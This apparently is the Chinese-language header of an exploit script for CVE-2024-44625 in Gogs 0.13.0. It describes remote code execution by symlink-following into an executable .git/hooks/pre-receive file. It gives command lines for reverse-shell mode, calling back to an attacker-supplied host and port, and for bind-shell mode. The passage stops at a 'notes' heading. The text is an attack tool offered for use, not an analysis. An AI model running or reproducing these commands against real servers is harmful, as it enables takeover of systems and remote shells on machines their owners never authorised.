
CVE-2024-44625 在 Gogs 0.13.0 中的漏洞利用,通过符号链接跟随创建 git 钩子实现远程代码执行,支持反向和绑定 shell 模式。
已针对反向代理后方的 0.13.0 时代 Gogs 进行验证。 利用原理:Web 编辑器符号链接跟随至一个不存在的 .git/hooks/pre-receive 文件, 从而创建该文件(可执行)。此后每次推送到该仓库都会执行它。
用法:
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost <YOUR_IP> --lport 4444
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode bind --bind-port 5555
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3
注意事项: